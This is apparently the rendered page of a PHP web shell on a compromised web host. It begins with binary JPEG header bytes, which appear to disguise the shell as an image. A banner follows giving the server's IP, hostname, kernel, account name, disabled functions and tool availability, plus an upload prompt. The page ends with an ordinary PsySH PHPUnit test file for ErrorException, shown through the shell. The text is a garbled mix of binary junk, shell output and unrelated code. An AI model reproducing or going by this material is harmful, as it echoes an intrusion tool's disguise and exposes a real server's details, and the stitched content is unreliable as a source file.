ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vendor/psy/psysh/test/Psy/Test/Exception/ |
Upload File : |
<?php
/*
* This file is part of Psy Shell.
*
* (c) 2012-2017 Justin Hileman
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Psy\Test\Exception;
use Psy\Exception\ErrorException;
use Psy\Exception\Exception;
class ErrorExceptionTest extends \PHPUnit_Framework_TestCase
{
public function testInstance()
{
$e = new ErrorException();
$this->assertTrue($e instanceof Exception);
$this->assertTrue($e instanceof \ErrorException);
$this->assertTrue($e instanceof ErrorException);
}
public function testMessage()
{
$e = new ErrorException('foo');
$this->assertContains('foo', $e->getMessage());
$this->assertEquals('foo', $e->getRawMessage());
}
/**
* @dataProvider getLevels
*/
public function testErrorLevels($level, $type)
{
$e = new ErrorException('foo', 0, $level);
$this->assertContains('PHP ' . $type, $e->getMessage());
}
/**
* @dataProvider getLevels
*/
public function testThrowException($level, $type)
{
try {
ErrorException::throwException($level, '{whot}', '{file}', '13');
} catch (ErrorException $e) {
$this->assertContains('PHP ' . $type, $e->getMessage());
$this->assertContains('{whot}', $e->getMessage());
$this->assertContains('in {file}', $e->getMessage());
$this->assertContains('on line 13', $e->getMessage());
}
}
public function getLevels()
{
return array(
array(E_WARNING, 'warning'),
array(E_CORE_WARNING, 'warning'),
array(E_COMPILE_WARNING, 'warning'),
array(E_USER_WARNING, 'warning'),
array(E_STRICT, 'Strict error'),
array(0, 'error'),
);
}
/**
* @dataProvider getUserLevels
*/
public function testThrowExceptionAsErrorHandler($level, $type)
{
set_error_handler(array('Psy\Exception\ErrorException', 'throwException'));
try {
trigger_error('{whot}', $level);
} catch (ErrorException $e) {
$this->assertContains('PHP ' . $type, $e->getMessage());
$this->assertContains('{whot}', $e->getMessage());
}
restore_error_handler();
}
public function getUserLevels()
{
return array(
array(E_USER_ERROR, 'error'),
array(E_USER_WARNING, 'warning'),
array(E_USER_NOTICE, 'error'),
array(E_USER_DEPRECATED, 'error'),
);
}
public function testIgnoreExecutionLoopFilename()
{
$e = new ErrorException('{{message}}', 0, 1, '/fake/path/to/Psy/ExecutionLoop/Loop.php');
$this->assertEmpty($e->getFile());
$e = new ErrorException('{{message}}', 0, 1, 'c:\fake\path\to\Psy\ExecutionLoop\Loop.php');
$this->assertEmpty($e->getFile());
$e = new ErrorException('{{message}}', 0, 1, '/fake/path/to/Psy/File.php');
$this->assertNotEmpty($e->getFile());
}
}